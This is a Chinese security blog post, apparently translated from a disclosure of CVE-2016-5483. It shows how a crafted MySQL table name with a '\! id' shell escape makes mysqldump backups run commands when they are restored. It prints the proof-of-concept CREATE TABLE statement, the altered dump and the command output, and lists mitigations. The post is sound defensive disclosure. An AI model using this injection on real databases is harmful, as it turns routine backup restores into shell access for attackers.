[安全] mysqldump 备份的后门

1. 简介

mysqldump 是备份 MySQL 数据库的常用工具,其中会包含 创建表、删除表、插入数据 这些数据库操作的语句

而黑客可能会利用 mysqldump 来黑掉你的系统,在 dump 文件被导入时就会执行黑客设置好的 SQL 语句或者 shell 命令

2. 实验

场景假设

1)黑客已经获得了应用的访问权,可以执行任意的 SQL,例如你使用了 Wordpress 等开源系统,就很有可能被黑客搞定

2)黑客具有 CREATE TABLE 权限,这也不难,很多开源系统的安装教程中都不会注意这点,可能其中某个步骤就是让你执行

GRANT ALL PRIVILEGES ON wordpress.*

3)使用 mysqldump 进行常规备份

4)黑客想要提升他们的权限,进而可以访问操作系统

过程

首先创建一个恶意表

CREATE TABLE `evil  
\! id
select user(),@@version/*`  (test text);  

之后使用 mysqldump 备份数据库

在正常情况下,dump 文件中应该是这样的结构

--
-- Table structure for table `tablename`
--

而现在则会变成这样

--
-- Table structure for table `evil
\! id
select user(),@@version/*`  
--

然后使用 dump 文件导入数据库

mysql test < test.dump

输出信息:

uid=1000(mysql5.7) gid=1000(mysql5.7) 组=1000(mysql5.7)
user()  @@version
root@localhost  5.7.17-log

可以看到,已经成功执行了系统命令

3. 弥补方法

  • 使用 mysqldump 时设置 --skip-comments
  • 撤回建表权限
  • 尽量只 dump 表数据

这个问题比较普遍,需要注意,涉及的数据库包括:

数据库

版本

MySQL

所有版本

MariaDB

<= 5.5.52 且 < 10.1

Percona

所有版本

4. 小结

本文翻译整理自

https://blog.tarq.io/cve-2016-5483-backdooring-mysqldump-backups

这个安全点对我很有价值,我的 mysqldump 就没有设置忽略注释,需要补上,所以写出来供有同类问题的小伙伴们参考

原文发布于微信公众号 - 性能与架构(yogoup)

原文发表时间:2017-03-12

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Java开发

Linux 卸载分区

卸载/dev/sda6分区 此时注意/dev/sda6是刚刚卸载了/data2的分区名

2042
来自专栏Samego开发资源

MySQL开启远程连接

5364
来自专栏运维技术迷

SQL复习之向现有数据库中添加文件组和数据文件

向现有数据库中添加文件组和数据文件,语句如下: use E_market --进入当前操作数据库 alter database E_market add fi...

1.4K6
来自专栏LanceToBigData

MySQL(十)之视图

前言 前面给大家介绍了查询语句,感觉写的还不错的,喜欢的可以去查看。今天给大家分享的是MySQL中的视图。 视图(View):视图是由查询结果形成一张虚拟的表。...

36310
来自专栏Java开发者杂谈

Mysql锁初步

存储引擎 要了解mysql的锁,就要先从存储引擎说起。 常用存储引擎列表如下图所示: ? 最常使用的两种存储引擎: Myisam是Mysql的默认存储引擎。当c...

3498
来自专栏数据和云

SQL Server for Linux 下一版本的公共预览

当微软宣布即将发布SQL Server for Linux版本的时候,有些人觉得很兴奋,有些人觉得然并卵,但是既然Gartner在2016年的数据库管理系统魔...

3359
来自专栏大眼瞪小眼

MySQL基础复习

2NF:每一个非主属性完全依赖于候选码(属性组的值能唯一的标识一个元组,但是其子集不可以)。

962
来自专栏蓝天

Mysql 大数据量导入程序

网络上转载许多都有错误,请注意代码的规范和正确性。 经测试以下代码是正确无错的,转载请保留版权,尊重程序作者!

1432
来自专栏运维前线

CentOS7 安装并使用SQL Server

CentOS7 安装并使用SQL Server Linux 上的 SQL Server 安装指南 参考:https://docs.microsoft.com/z...

4806
来自专栏耕耘实录

Linux(RHEL7及CentOS7)下glibc版MySQL5.7.20的安装

版权声明:本文为耕耘实录原创文章,各大自媒体平台同步更新。欢迎转载,转载请注明出处,谢谢

3292

扫码关注云+社区

领取腾讯云代金券